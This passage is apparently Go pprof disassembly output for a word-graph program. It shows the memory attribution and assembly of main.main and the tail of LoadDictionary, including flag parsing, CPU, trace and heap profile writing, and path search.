. 10ca5a5: CALL runtime.typedmemclr(SB) . . 10ca5aa: MOVQ 0x120(SP), DI . . 10ca5b2: MOVQ 0x110(SP), AX . . 10ca5ba: CALL runtime.gcWriteBarrier(SB) . . 10ca5bf: MOVQ DI, CX ;graph.go:69 . . 10ca5c2: XORPS X0, X0 ;graph.go:49 . . 10ca5c5: JMP 0x10ca04b ;graph.go:48 . . 10ca5ca: NOPL ;graph.go:46 . . 10ca5cb: CALL runtime.deferreturn(SB) . . 10ca5d0: MOVQ 0x1b8(SP), BP . . 10ca5d8: ADDQ $0x1c0, SP . . 10ca5df: RET . . 10ca5e0: NOPL ;graph.go:41 . . 10ca5e1: CALL runtime.deferreturn(SB) . . 10ca5e6: MOVQ 0x1b8(SP), BP . . 10ca5ee: ADDQ $0x1c0, SP . . 10ca5f5: RET . . 10ca5f6: LEAQ go.string.*+3958(SB), AX ;stats.go:42 . . 10ca5fd: CALL runtime.gcWriteBarrier(SB) . . 10ca602: MOVQ DX, DI . . 10ca605: MOVQ SI, AX . . 10ca608: CALL runtime.gcWriteBarrier(SB) . . 10ca60d: JMP 0x10c9ed4 . . 10ca612: MOVQ SI, 0x110(SP) . . 10ca61a: LEAQ runtime.types+158400(SB), SI . . 10ca621: MOVQ SI, 0(SP) . . 10ca625: MOVQ CX, 0x8(SP) . . 10ca62a: MOVQ AX, 0x10(SP) . . 10ca62f: MOVQ BX, 0x18(SP) . . 10ca634: MOVQ DX, 0x20(SP) . . 10ca639: CALL runtime.growslice(SB) . . 10ca63e: MOVQ 0x28(SP), AX . . 10ca643: MOVQ 0x30(SP), CX . . 10ca648: MOVQ 0x38(SP), DX . . 10ca64d: MOVQ DX, main.stats+16(SB) . . 10ca654: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca65b: JNE 0x10ca67a . . 10ca65d: MOVQ AX, main.stats(SB) . . 10ca664: MOVQ 0x110(SP), SI . . 10ca66c: MOVQ AX, DX . . 10ca66f: MOVQ CX, AX . . 10ca672: MOVQ DX, CX . . 10ca675: JMP 0x10c9e87 . . 10ca67a: LEAQ main.stats(SB), DI . . 10ca681: CALL runtime.gcWriteBarrier(SB) . . 10ca686: JMP 0x10ca664 . . 10ca688: MOVQ SI, AX ;graph.go:71 . . 10ca68b: CALL runtime.panicIndex(SB) . . 10ca690: NOPL . . 10ca691: CALL runtime.morestack_noctxt(SB) ;graph.go:39 . . 10ca696: JMP main.LoadDictionary(SB) . . 10ca69b: INT $0x3 . . 10ca69c: INT $0x3 . . 10ca69d: INT $0x3 . . 10ca69e: INT $0x3 ROUTINE ======================== main.main 0 822.30MB (flat, cum) 100% of Total . . 10cda30: MOVQ GS:0x30, CX ;main.go:27 . . 10cda39: LEAQ 0xfffffd98(SP), AX . . 10cda41: CMPQ 0x10(CX), AX . . 10cda45: JBE 0x10ce76a . . 10cda4b: SUBQ $0x2e8, SP . . 10cda52: MOVQ BP, 0x2e0(SP) . . 10cda5a: LEAQ 0x2e0(SP), BP . . 10cda62: MOVQ os.Args+8(SB), CX ;main.go:28 . . 10cda69: MOVQ os.Args(SB), DX ;flag.go:996 . . 10cda70: MOVQ os.Args+16(SB), BX . . 10cda77: CMPQ $0x1, CX . . 10cda7b: JB 0x10ce75f . . 10cda81: MOVQ flag.CommandLine(SB), AX . . 10cda88: MOVQ AX, 0(SP) . . 10cda8c: LEAQ -0x1(BX), AX . . 10cda90: MOVQ AX, BX . . 10cda93: NEGQ AX . . 10cda96: SARQ $0x3f, AX . . 10cda9a: ANDQ $0x10, AX . . 10cda9e: ADDQ DX, AX . . 10cdaa1: MOVQ AX, 0x8(SP) . . 10cdaa6: LEAQ -0x1(CX), AX . . 10cdaaa: MOVQ AX, 0x10(SP) . . 10cdaaf: MOVQ BX, 0x18(SP) . . 10cdab4: CALL flag.(*FlagSet).Parse(SB) . . 10cdab9: MOVQ main.cpuprofile(SB), AX ;main.go:30 . . 10cdac0: MOVQ 0(AX), CX . . 10cdac3: MOVQ 0x8(AX), AX . . 10cdac7: TESTQ AX, AX . . 10cdaca: JNE 0x10ce602 . . 10cdad0: MOVQ main.traceprofile(SB), AX ;main.go:40 . . 10cdad7: MOVQ 0(AX), CX . . 10cdada: MOVQ 0x8(AX), AX . . 10cdade: TESTQ AX, AX . . 10cdae1: JNE 0x10ce4a0 . . 10cdae7: MOVQ main.dump(SB), AX ;main.go:50 . . 10cdaee: MOVQ 0x8(AX), CX . . 10cdaf2: MOVQ 0(AX), AX . . 10cdaf5: TESTQ CX, CX . . 10cdaf8: JNE 0x10ce48d . . 10cdafe: XORPS X0, X0 ;main.go:54 . . 10cdb01: MOVUPS X0, 0x250(SP) . . 10cdb09: LEAQ runtime.types+88864(SB), AX . . 10cdb10: MOVQ AX, 0x250(SP) . . 10cdb18: LEAQ internal/bytealg.IndexString.args_stackmap+640(SB), CX . . 10cdb1f: MOVQ CX, 0x258(SP) . . 10cdb27: MOVQ os.Stdout(SB), CX ;print.go:274 . . 10cdb2e: LEAQ go.itab.*os.File,io.Writer(SB), DX . . 10cdb35: MOVQ DX, 0(SP) . . 10cdb39: MOVQ CX, 0x8(SP) . . 10cdb3e: LEAQ 0x250(SP), CX . . 10cdb46: MOVQ CX, 0x10(SP) . . 10cdb4b: MOVQ $0x1, 0x18(SP) . . 10cdb54: MOVQ $0x1, 0x20(SP) . . 10cdb5d: CALL fmt.Fprintln(SB) . . 10cdb62: MOVQ main.dict(SB), AX ;main.go:55 . . 10cdb69: MOVQ main.numBuckets(SB), CX . . 10cdb70: MOVQ main.indexStats(SB), DX . . 10cdb77: MOVQ main.perfStats(SB), BX . . 10cdb7e: MOVQ main.dump(SB), SI . . 10cdb85: MOVQ 0x8(AX), DI . . 10cdb89: MOVQ 0(AX), AX . . 10cdb8c: MOVQ 0(CX), CX . . 10cdb8f: MOVZX 0(DX), DX . . 10cdb92: MOVZX 0(BX), BX . . 10cdb95: MOVQ 0(SI), R8 . . 10cdb98: MOVQ 0x8(SI), SI . . 10cdb9c: MOVQ AX, 0(SP) . . 10cdba0: MOVQ DI, 0x8(SP) . . 10cdba5: MOVQ CX, 0x10(SP) . . 10cdbaa: MOVB DL, 0x18(SP) . . 10cdbae: MOVB BL, 0x19(SP) . . 10cdbb2: MOVQ R8, 0x20(SP) . . 10cdbb7: MOVQ SI, 0x28(SP) . 821.14MB 10cdbbc: CALL main.LoadDictionary(SB) ;main.main main.go:55 . . 10cdbc1: MOVQ 0x30(SP), AX ;main.go:55 . . 10cdbc6: MOVQ AX, 0x1d0(SP) . . 10cdbce: MOVQ 0x8(AX), CX ;graph.go:304 . . 10cdbd2: MOVQ CX, 0x78(SP) . . 10cdbd7: MOVQ AX, 0(SP) ;main.go:56 . . 10cdbdb: CALL main.(*Graph).EdgeCount(SB) . . 10cdbe0: MOVQ 0x8(SP), AX . . 10cdbe5: MOVQ AX, 0x70(SP) . . 10cdbea: MOVQ 0x78(SP), CX . . 10cdbef: MOVQ CX, 0(SP) . . 10cdbf3: CALL runtime.convT64(SB) . . 10cdbf8: MOVQ 0x8(SP), AX . . 10cdbfd: MOVQ AX, 0x1f8(SP) . . 10cdc05: MOVQ 0x70(SP), CX . . 10cdc0a: MOVQ CX, 0(SP) . . 10cdc0e: CALL runtime.convT64(SB) . . 10cdc13: MOVQ 0x8(SP), AX . . 10cdc18: XORPS X0, X0 . . 10cdc1b: MOVUPS X0, 0x2c0(SP) . . 10cdc23: MOVUPS X0, 0x2d0(SP) . . 10cdc2b: LEAQ runtime.types+86176(SB), CX . . 10cdc32: MOVQ CX, 0x2c0(SP) . . 10cdc3a: MOVQ 0x1f8(SP), DX . . 10cdc42: MOVQ DX, 0x2c8(SP) . . 10cdc4a: MOVQ CX, 0x2d0(SP) . . 10cdc52: MOVQ AX, 0x2d8(SP) . . 10cdc5a: MOVQ os.Stdout(SB), AX ;print.go:213 . . 10cdc61: LEAQ go.itab.*os.File,io.Writer(SB), CX . . 10cdc68: MOVQ CX, 0(SP) . . 10cdc6c: MOVQ AX, 0x8(SP) . . 10cdc71: LEAQ go.string.*+11078(SB), AX . . 10cdc78: MOVQ AX, 0x10(SP) . . 10cdc7d: MOVQ $0x14, 0x18(SP) . . 10cdc86: LEAQ 0x2c0(SP), AX . . 10cdc8e: MOVQ AX, 0x20(SP) . . 10cdc93: MOVQ $0x2, 0x28(SP) . . 10cdc9c: MOVQ $0x2, 0x30(SP) . . 10cdca5: CALL fmt.Fprintf(SB) . . 10cdcaa: MOVQ main.dictStats(SB), AX ;main.go:58 . . 10cdcb1: CMPB $0x0, 0(AX) . . 10cdcb4: JNE 0x10ce46c . . 10cdcba: MOVQ main.src(SB), AX ;main.go:62 . . 10cdcc1: MOVQ 0(AX), CX . . 10cdcc4: MOVQ 0x8(AX), AX . . 10cdcc8: TESTQ AX, AX . . 10cdccb: JE 0x10cdcdf . . 10cdccd: MOVQ main.dest(SB), DX . . 10cdcd4: CMPQ $0x0, 0x8(DX) . . 10cdcd9: JNE 0x10cdf0e . . 10cdcdf: MOVQ main.printGraph(SB), AX ;main.go:86 . . 10cdce6: CMPB $0x0, 0(AX) . . 10cdce9: JNE 0x10cdef8 . . 10cdcef: MOVQ main.csv(SB), AX ;main.go:90 . . 10cdcf6: CMPB $0x0, 0(AX) . . 10cdcf9: JE 0x10cdeee . . 10cdcff: MOVB $0x1, 0(SP) ;main.go:91 . . 10cdd03: CALL main.PrintStatsCSV(SB) . . 10cdd08: MOVQ main.memprofile(SB), AX ;main.go:96 . . 10cdd0f: CMPQ $0x0, 0x8(AX) . . 10cdd14: JNE 0x10cdd2c . . 10cdd16: NOPL ;main.go:107 . . 10cdd17: CALL runtime.deferreturn(SB) . . 10cdd1c: MOVQ 0x2e0(SP), BP . . 10cdd24: ADDQ $0x2e8, SP . . 10cdd2b: RET . . 10cdd2c: CALL runtime.GC(SB) ;main.go:97 . . 10cdd31: MOVQ main.memprofile(SB), AX ;main.go:98 . . 10cdd38: MOVQ 0(AX), CX . . 10cdd3b: MOVQ 0x8(AX), AX . . 10cdd3f: MOVQ CX, 0(SP) ;file.go:289 . . 10cdd43: MOVQ AX, 0x8(SP) . . 10cdd48: MOVQ $0x602, 0x10(SP) . . 10cdd51: MOVL $0x1b6, 0x18(SP) . . 10cdd59: CALL os.OpenFile(SB) . . 10cdd5e: MOVQ 0x20(SP), AX . . 10cdd63: MOVQ AX, 0x1f0(SP) . . 10cdd6b: MOVQ 0x28(SP), CX . . 10cdd70: MOVQ 0x30(SP), DX . . 10cdd75: TESTQ CX, CX ;main.go:99 . . 10cdd78: JE 0x10cdde4 . . 10cdd7a: JE 0x10cdd80 ;main.go:100 . . 10cdd7c: MOVQ 0x8(CX), CX . . 10cdd80: XORPS X0, X0 . . 10cdd83: MOVUPS X0, 0x260(SP) . . 10cdd8b: MOVUPS X0, 0x270(SP) . . 10cdd93: LEAQ runtime.types+88864(SB), AX . . 10cdd9a: MOVQ AX, 0x260(SP) . . 10cdda2: LEAQ internal/bytealg.IndexString.args_stackmap+672(SB), BX . . 10cdda9: MOVQ BX, 0x268(SP) . . 10cddb1: MOVQ CX, 0x270(SP) . . 10cddb9: MOVQ DX, 0x278(SP) . . 10cddc1: LEAQ 0x260(SP), CX . . 10cddc9: MOVQ CX, 0(SP) . . 10cddcd: MOVQ $0x2, 0x8(SP) . . 10cddd6: MOVQ $0x2, 0x10(SP) . . 10cdddf: CALL log.Fatal(SB) . . 10cdde4: MOVL $0x18, 0xf0(SP) ;main.go:102 . . 10cddef: LEAQ go.func.*+300(SB), AX . . 10cddf6: MOVQ AX, 0x108(SP) . . 10cddfe: MOVQ 0x1f0(SP), AX . . 10cde06: MOVQ AX, 0x120(SP) . . 10cde0e: LEAQ 0xf0(SP), CX . . 10cde16: MOVQ CX, 0(SP) . . 10cde1a: CALL runtime.deferprocStack(SB) . . 10cde1f: TESTL AX, AX . . 10cde21: JNE 0x10cded8 . . 10cde27: NOPL ;pprof.go:522 . . 10cde28: LEAQ go.itab.*os.File,io.Writer(SB), AX ;pprof.go:533 . . 10cde2f: MOVQ AX, 0(SP) . . 10cde33: MOVQ 0x1f0(SP), AX . . 10cde3b: MOVQ AX, 0x8(SP) . . 10cde40: MOVQ $0x0, 0x10(SP) . . 10cde49: XORPS X0, X0 . . 10cde4c: MOVUPS X0, 0x18(SP) . . 10cde51: CALL runtime/pprof.writeHeapInternal(SB) . . 10cde56: MOVQ 0x28(SP), AX . . 10cde5b: MOVQ 0x30(SP), CX . . 10cde60: TESTQ AX, AX ;main.go:103 . . 10cde63: JE 0x10cdd16 . . 10cde69: JE 0x10cde6f ;main.go:104 . . 10cde6b: MOVQ 0x8(AX), AX . . 10cde6f: XORPS X0, X0 . . 10cde72: MOVUPS X0, 0x260(SP) . . 10cde7a: MOVUPS X0, 0x270(SP) . . 10cde82: LEAQ runtime.types+88864(SB), DX . . 10cde89: MOVQ DX, 0x260(SP) . . 10cde91: LEAQ internal/bytealg.IndexString.args_stackmap+688(SB), DX . . 10cde98: MOVQ DX, 0x268(SP) . . 10cdea0: MOVQ AX, 0x270(SP) . . 10cdea8: MOVQ CX, 0x278(SP) . . 10cdeb0: LEAQ 0x260(SP), AX . . 10cdeb8: MOVQ AX, 0(SP) . . 10cdebc: MOVQ $0x2, 0x8(SP) . . 10cdec5: MOVQ $0x2, 0x10(SP) . . 10cdece: CALL log.Fatal(SB) . . 10cded3: JMP 0x10cdd16 . . 10cded8: NOPL ;main.go:102 . . 10cded9: CALL runtime.deferreturn(SB) . . 10cdede: MOVQ 0x2e0(SP), BP . . 10cdee6: ADDQ $0x2e8, SP . . 10cdeed: RET . . 10cdeee: CALL main.PrintStats(SB) ;main.go:93 . . 10cdef3: JMP 0x10cdd08 . . 10cdef8: MOVQ 0x1d0(SP), AX ;main.go:87 . . 10cdf00: MOVQ AX, 0(SP) . . 10cdf04: CALL main.(*Graph).PrintAdjList(SB) . . 10cdf09: JMP 0x10cdcef . . 10cdf0e: MOVQ CX, 0(SP) ;main.go:63 . . 10cdf12: MOVQ AX, 0x8(SP) . . 10cdf17: CALL runtime.convTstring(SB) . . 10cdf1c: MOVQ main.dest(SB), AX . . 10cdf23: MOVQ 0x10(SP), CX . . 10cdf28: MOVQ CX, 0x1f8(SP) . . 10cdf30: MOVQ 0x8(AX), DX . . 10cdf34: MOVQ 0(AX), AX . . 10cdf37: MOVQ AX, 0(SP) . . 10cdf3b: MOVQ DX, 0x8(SP) . . 10cdf40: CALL runtime.convTstring(SB) . . 10cdf45: MOVQ 0x10(SP), AX . . 10cdf4a: XORPS X0, X0 . . 10cdf4d: MOVUPS X0, 0x2a0(SP) . . 10cdf55: MOVUPS X0, 0x2b0(SP) . . 10cdf5d: LEAQ runtime.types+88864(SB), CX . . 10cdf64: MOVQ CX, 0x2a0(SP) . . 10cdf6c: MOVQ 0x1f8(SP), DX . . 10cdf74: MOVQ DX, 0x2a8(SP) . . 10cdf7c: MOVQ CX, 0x2b0(SP) . . 10cdf84: MOVQ AX, 0x2b8(SP) . . 10cdf8c: MOVQ os.Stdout(SB), AX ;print.go:213 . . 10cdf93: LEAQ go.itab.*os.File,io.Writer(SB), DX . . 10cdf9a: MOVQ DX, 0(SP) . . 10cdf9e: MOVQ AX, 0x8(SP) . . 10cdfa3: LEAQ go.string.*+16367(SB), AX . . 10cdfaa: MOVQ AX, 0x10(SP) . . 10cdfaf: MOVQ $0x1b, 0x18(SP) . . 10cdfb8: LEAQ 0x2a0(SP), AX . . 10cdfc0: MOVQ AX, 0x20(SP) . . 10cdfc5: MOVQ $0x2, 0x28(SP) . . 10cdfce: MOVQ $0x2, 0x30(SP) . . 10cdfd7: CALL fmt.Fprintf(SB) . . 10cdfdc: MOVQ main.src(SB), AX ;main.go:64 . . 10cdfe3: MOVQ 0x8(AX), CX . . 10cdfe7: MOVQ 0(AX), AX . . 10cdfea: MOVQ 0x1d0(SP), DX . . 10cdff2: MOVQ DX, 0(SP) . . 10cdff6: MOVQ AX, 0x8(SP) . . 10cdffb: MOVQ CX, 0x10(SP) . . 10ce000: CALL main.(*Graph).Find(SB) . . 10ce005: MOVQ main.dest(SB), AX ;main.go:65 . . 10ce00c: MOVQ 0x18(SP), CX ;main.go:64 . . 10ce011: MOVQ CX, 0x58(SP) . . 10ce016: MOVQ 0x8(AX), DX ;main.go:65 . . 10ce01a: MOVQ 0(AX), AX . . 10ce01d: MOVQ 0x1d0(SP), BX . . 10ce025: MOVQ BX, 0(SP) . . 10ce029: MOVQ AX, 0x8(SP) . . 10ce02e: MOVQ DX, 0x10(SP) . . 10ce033: CALL main.(*Graph).Find(SB) . . 10ce038: MOVQ 0x18(SP), AX . . 10ce03d: MOVQ 0x58(SP), CX ;main.go:67 . . 10ce042: TESTQ CX, CX . . 10ce045: JL 0x10ce311 . . 10ce04b: TESTQ AX, AX . . 10ce04e: JL 0x10ce30e . . 10ce054: XORPS X0, X0 ;main.go:77 . . 10ce057: MOVUPS X0, 0x220(SP) . . 10ce05f: LEAQ runtime.types+88864(SB), AX . . 10ce066: MOVQ AX, 0x220(SP) . . 10ce06e: LEAQ internal/bytealg.IndexString.args_stackmap+656(SB), CX . . 10ce075: MOVQ CX, 0x228(SP) . . 10ce07d: MOVQ os.Stdout(SB), CX ;print.go:274 . . 10ce084: LEAQ go.itab.*os.File,io.Writer(SB), DX . . 10ce08b: MOVQ DX, 0(SP) . . 10ce08f: MOVQ CX, 0x8(SP) . . 10ce094: LEAQ 0x220(SP), CX . . 10ce09c: MOVQ CX, 0x10(SP) . . 10ce0a1: MOVQ $0x1, 0x18(SP) . . 10ce0aa: MOVQ $0x1, 0x20(SP) . . 10ce0b3: CALL fmt.Fprintln(SB) . . 10ce0b8: MOVQ 0x1d0(SP), AX ;main.go:78 . . 10ce0c0: MOVQ AX, 0(SP) . . 10ce0c4: MOVQ 0x58(SP), CX . . 10ce0c9: MOVQ CX, 0x8(SP) . . 10ce0ce: CALL main.(*Graph).AllPaths(SB) . . 10ce0d3: MOVQ main.dest(SB), AX ;main.go:79 . . 10ce0da: MOVQ 0x10(SP), CX ;main.go:78 . . 10ce0df: MOVQ 0(AX), DX ;main.go:79 . . 10ce0e2: MOVQ 0x8(AX), AX . . 10ce0e6: MOVQ CX, 0(SP) . . 10ce0ea: MOVQ DX, 0x8(SP) . . 10ce0ef: MOVQ AX, 0x10(SP) . . 10ce0f4: CALL main.(*Paths).To(SB) . . 10ce0f9: MOVQ 0x20(SP), AX . . 10ce0fe: MOVQ AX, 0x60(SP) . . 10ce103: MOVQ 0x18(SP), CX . . 10ce108: MOVQ CX, 0x1c8(SP) . . 10ce110: TESTQ AX, AX ;main.go:80 . . 10ce113: JE 0x10ce220 . . 10ce119: MOVQ 0x1d0(SP), DX ;main.go:83 . . 10ce121: XORL BX, BX . . 10ce123: JMP 0x10ce1fe . . 10ce128: MOVQ BX, 0x78(SP) . . 10ce12d: LEAQ 0(SI)(SI*2), AX ;main.go:84 . . 10ce131: MOVQ 0x10(R8)(AX*8), CX . . 10ce136: MOVQ 0x8(R8)(AX*8), DX . . 10ce13b: MOVQ 0(R8)(AX*8), AX . . 10ce13f: MOVQ $0x0, 0(SP) . . 10ce147: MOVQ AX, 0x8(SP) . . 10ce14c: MOVQ DX, 0x10(SP) . . 10ce151: MOVQ CX, 0x18(SP) . . 10ce156: CALL runtime.slicebytetostring(SB) . . 10ce15b: MOVQ 0x20(SP), AX . . 10ce160: MOVQ 0x28(SP), CX . . 10ce165: MOVQ AX, 0(SP) . . 10ce169: MOVQ CX, 0x8(SP) . . 10ce16e: CALL runtime.convTstring(SB) . . 10ce173: MOVQ 0x10(SP), AX . . 10ce178: XORPS X0, X0 . . 10ce17b: MOVUPS X0, 0x210(SP) . . 10ce183: LEAQ runtime.types+88864(SB), CX . . 10ce18a: MOVQ CX, 0x210(SP) . . 10ce192: MOVQ AX, 0x218(SP) . . 10ce19a: MOVQ os.Stdout(SB), AX ;print.go:274 . . 10ce1a1: LEAQ go.itab.*os.File,io.Writer(SB), DX . . 10ce1a8: MOVQ DX, 0(SP) . . 10ce1ac: MOVQ AX, 0x8(SP) . . 10ce1b1: LEAQ 0x210(SP), AX . . 10ce1b9: MOVQ AX, 0x10(SP) . . 10ce1be: MOVQ $0x1, 0x18(SP) . . 10ce1c7: MOVQ $0x1, 0x20(SP) . . 10ce1d0: CALL fmt.Fprintln(SB) . . 10ce1d5: MOVQ 0x78(SP), AX ;main.go:83 . . 10ce1da: LEAQ 0x1(AX), BX . . 10ce1de: MOVQ 0x60(SP), AX . . 10ce1e3: MOVQ 0x1d0(SP), CX . . 10ce1eb: MOVQ 0x1c8(SP), DX . . 10ce1f3: MOVQ DX, CX . . 10ce1f6: MOVQ 0x1d0(SP), DX ;main.go:84 . . 10ce1fe: CMPQ AX, BX ;main.go:83 . . 10ce201: JGE 0x10cdcef . . 10ce207: MOVQ 0(CX)(BX*8), SI . . 10ce20b: MOVQ 0x8(DX), DI ;main.go:84 . . 10ce20f: MOVQ 0(DX), R8 . . 10ce212: CMPQ DI, SI . . 10ce215: JB 0x10ce128 . . 10ce21b: JMP 0x10ce754 . . 10ce220: MOVQ main.src(SB), AX ;main.go:81 . . 10ce227: MOVQ 0(AX), CX . . 10ce22a: MOVQ 0x8(AX), AX . . 10ce22e: MOVQ CX, 0(SP) . . 10ce232: MOVQ AX, 0x8(SP) . . 10ce237: CALL runtime.convTstring(SB) . . 10ce23c: MOVQ main.dest(SB), AX . . 10ce243: MOVQ 0x10(SP), CX . . 10ce248: MOVQ CX, 0x1f8(SP) . . 10ce250: MOVQ 0x8(AX), DX . . 10ce254: MOVQ 0(AX), AX . . 10ce257: MOVQ AX, 0(SP) . . 10ce25b: MOVQ DX, 0x8(SP) . . 10ce260: CALL runtime.convTstring(SB) . . 10ce265: MOVQ 0x10(SP), AX . . 10ce26a: XORPS X0, X0 . . 10ce26d: MOVUPS X0, 0x280(SP) . . 10ce275: MOVUPS X0, 0x290(SP) . . 10ce27d: LEAQ runtime.types+88864(SB), CX . . 10ce284: MOVQ CX, 0x280(SP) . . 10ce28c: MOVQ 0x1f8(SP), DX . . 10ce294: MOVQ DX, 0x288(SP) . . 10ce29c: MOVQ CX, 0x290(SP) . . 10ce2a4: MOVQ AX, 0x298(SP) . . 10ce2ac: MOVQ os.Stdout(SB), AX ;print.go:213 . . 10ce2b3: LEAQ go.itab.*os.File,io.Writer(SB), DX . . 10ce2ba: MOVQ DX, 0(SP) . . 10ce2be: MOVQ AX, 0x8(SP) . . 10ce2c3: LEAQ go.string.*+20133(SB), AX . . 10ce2ca: MOVQ AX, 0x10(SP) . . 10ce2cf: MOVQ $0x1f, 0x18(SP) . . 10ce2d8: LEAQ 0x280(SP), AX . . 10ce2e0: MOVQ AX, 0x20(SP) . . 10ce2e5: MOVQ $0x2, 0x28(SP) . . 10ce2ee: MOVQ $0x2, 0x30(SP) . . 10ce2f7: CALL fmt.Fprintf(SB) . . 10ce2fc: MOVQ 0x60(SP), AX ;main.go:83 . . 10ce301: MOVQ 0x1c8(SP), CX . . 10ce309: JMP 0x10ce119 . . 10ce30e: TESTQ CX, CX ;main.go:67 . . 10ce311: JL 0x10ce3ca ;main.go:68 . . 10ce317: TESTQ AX, AX ;main.go:71 . . 10ce31a: JL 0x10ce332 . . 10ce31c: NOPL ;main.go:74 . . 10ce31d: CALL runtime.deferreturn(SB) . . 10ce322: MOVQ 0x2e0(SP), BP . . 10ce32a: ADDQ $0x2e8, SP . . 10ce331: RET . . 10ce332: MOVQ main.dest(SB), AX ;main.go:72 . . 10ce339: MOVQ 0x8(AX), CX . . 10ce33d: MOVQ 0(AX), AX . . 10ce340: MOVQ AX, 0(SP) . . 10ce344: MOVQ CX, 0x8(SP) . . 10ce349: CALL runtime.convTstring(SB) . . 10ce34e: MOVQ 0x10(SP), AX . . 10ce353: XORPS X0, X0 . . 10ce356: MOVUPS X0, 0x230(SP) . . 10ce35e: LEAQ runtime.types+88864(SB), CX . . 10ce365: MOVQ CX, 0x230(SP) . . 10ce36d: MOVQ AX, 0x238(SP) . . 10ce375: MOVQ os.Stdout(SB), AX ;print.go:213 . . 10ce37c: LEAQ go.itab.*os.File,io.Writer(SB), CX . . 10ce383: MOVQ CX, 0(SP) . . 10ce387: MOVQ AX, 0x8(SP) . . 10ce38c: LEAQ go.string.*+7974(SB), AX . . 10ce393: MOVQ AX, 0x10(SP) . . 10ce398: MOVQ $0x11, 0x18(SP) . . 10ce3a1: LEAQ 0x230(SP), AX . . 10ce3a9: MOVQ AX, 0x20(SP) . . 10ce3ae: MOVQ $0x1, 0x28(SP) . . 10ce3b7: MOVQ $0x1, 0x30(SP) . . 10ce3c0: CALL fmt.Fprintf(SB) . . 10ce3c5: JMP 0x10ce31c ;main.go:74 . . 10ce3ca: MOVQ AX, 0x50(SP) ;main.go:65 . . 10ce3cf: MOVQ main.src(SB), AX ;main.go:69 . . 10ce3d6: MOVQ 0x8(AX), CX . . 10ce3da: MOVQ 0(AX), AX . . 10ce3dd: MOVQ AX, 0(SP) . . 10ce3e1: MOVQ CX, 0x8(SP) . . 10ce3e6: CALL runtime.convTstring(SB) . . 10ce3eb: MOVQ 0x10(SP), AX . . 10ce3f0: XORPS X0, X0 . . 10ce3f3: MOVUPS X0, 0x240(SP) . . 10ce3fb: LEAQ runtime.types+88864(SB), CX . . 10ce402: MOVQ CX, 0x240(SP) . . 10ce40a: MOVQ AX, 0x248(SP) . . 10ce412: MOVQ os.Stdout(SB), AX ;print.go:213 . . 10ce419: LEAQ go.itab.*os.File,io.Writer(SB), DX . . 10ce420: MOVQ DX, 0(SP) . . 10ce424: MOVQ AX, 0x8(SP) . . 10ce429: LEAQ go.string.*+7974(SB), AX . . 10ce430: MOVQ AX, 0x10(SP) . . 10ce435: MOVQ $0x11, 0x18(SP) . . 10ce43e: LEAQ 0x240(SP), BX . . 10ce446: MOVQ BX, 0x20(SP) . . 10ce44b: MOVQ $0x1, 0x28(SP) . . 10ce454: MOVQ $0x1, 0x30(SP) . . 10ce45d: CALL fmt.Fprintf(SB) . . 10ce462: MOVQ 0x50(SP), AX ;main.go:71 . . 10ce467: JMP 0x10ce317 . . 10ce46c: MOVQ main.dict(SB), AX ;main.go:59 . . 10ce473: MOVQ 0x8(AX), CX . . 10ce477: MOVQ 0(AX), AX . . 10ce47a: MOVQ AX, 0(SP) . . 10ce47e: MOVQ CX, 0x8(SP) . . 10ce483: CALL main.dictionaryStats(SB) . . 10ce488: JMP 0x10cdcba . . 10ce48d: MOVQ AX, 0(SP) ;main.go:51 . . 10ce491: MOVQ CX, 0x8(SP) . . 10ce496: CALL main.createPathIfNotExists(SB) . . 10ce49b: JMP 0x10cdafe . . 10ce4a0: NOPL ;main.go:41 . . 10ce4a1: MOVQ CX, 0(SP) ;file.go:289 . . 10ce4a5: MOVQ AX, 0x8(SP) . . 10ce4aa: MOVQ $0x602, 0x10(SP) . . 10ce4b3: MOVL $0x1b6, 0x18(SP) . . 10ce4bb: CALL os.OpenFile(SB) . . 10ce4c0: MOVQ 0x20(SP), AX . . 10ce4c5: MOVQ AX, 0x1d8(SP) . . 10ce4cd: MOVQ 0x28(SP), CX . . 10ce4d2: MOVQ 0x30(SP), DX . . 10ce4d7: TESTQ CX, CX ;main.go:42 . . 10ce4da: JE 0x10ce546 . . 10ce4dc: JE 0x10ce4e2 ;main.go:43 . . 10ce4de: MOVQ 0x8(CX), CX . . 10ce4e2: XORPS X0, X0 . . 10ce4e5: MOVUPS X0, 0x260(SP) . . 10ce4ed: MOVUPS X0, 0x270(SP) . . 10ce4f5: LEAQ runtime.types+88864(SB), AX . . 10ce4fc: MOVQ AX, 0x260(SP) . . 10ce504: LEAQ internal/bytealg.IndexString.args_stackmap+624(SB), BX . . 10ce50b: MOVQ BX, 0x268(SP) . . 10ce513: MOVQ CX, 0x270(SP) . . 10ce51b: MOVQ DX, 0x278(SP) . . 10ce523: LEAQ 0x260(SP), CX . . 10ce52b: MOVQ CX, 0(SP) . . 10ce52f: MOVQ $0x2, 0x8(SP) . . 10ce538: MOVQ $0x2, 0x10(SP) . . 10ce541: CALL log.Fatal(SB) . . 10ce546: MOVL $0x18, 0x138(SP) ;main.go:45 . . 10ce551: LEAQ go.func.*+300(SB), AX . . 10ce558: MOVQ AX, 0x150(SP) . . 10ce560: MOVQ 0x1d8(SP), CX . . 10ce568: MOVQ CX, 0x168(SP) . . 10ce570: LEAQ 0x138(SP), DX . . 10ce578: MOVQ DX, 0(SP) . . 10ce57c: CALL runtime.deferprocStack(SB) . . 10ce581: TESTL AX, AX . . 10ce583: JNE 0x10ce5ec . . 10ce585: LEAQ go.itab.*os.File,io.Writer(SB), AX ;main.go:46 . . 10ce58c: MOVQ AX, 0(SP) . . 10ce590: MOVQ 0x1d8(SP), CX . . 10ce598: MOVQ CX, 0x8(SP) . . 10ce59d: CALL runtime/trace.Start(SB) . . 10ce5a2: MOVL $0x0, 0x80(SP) ;main.go:47 . . 10ce5ad: LEAQ go.func.*+1604(SB), AX . . 10ce5b4: MOVQ AX, 0x98(SP) . . 10ce5bc: LEAQ 0x80(SP), AX . . 10ce5c4: MOVQ AX, 0(SP) . . 10ce5c8: CALL runtime.deferprocStack(SB) . . 10ce5cd: TESTL AX, AX . . 10ce5cf: JNE 0x10ce5d6 . . 10ce5d1: JMP 0x10cdae7 . . 10ce5d6: NOPL . . 10ce5d7: CALL runtime.deferreturn(SB) . . 10ce5dc: MOVQ 0x2e0(SP), BP . . 10ce5e4: ADDQ $0x2e8, SP . . 10ce5eb: RET . . 10ce5ec: NOPL ;main.go:45 . . 10ce5ed: CALL runtime.deferreturn(SB) . . 10ce5f2: MOVQ 0x2e0(SP), BP . . 10ce5fa: ADDQ $0x2e8, SP . . 10ce601: 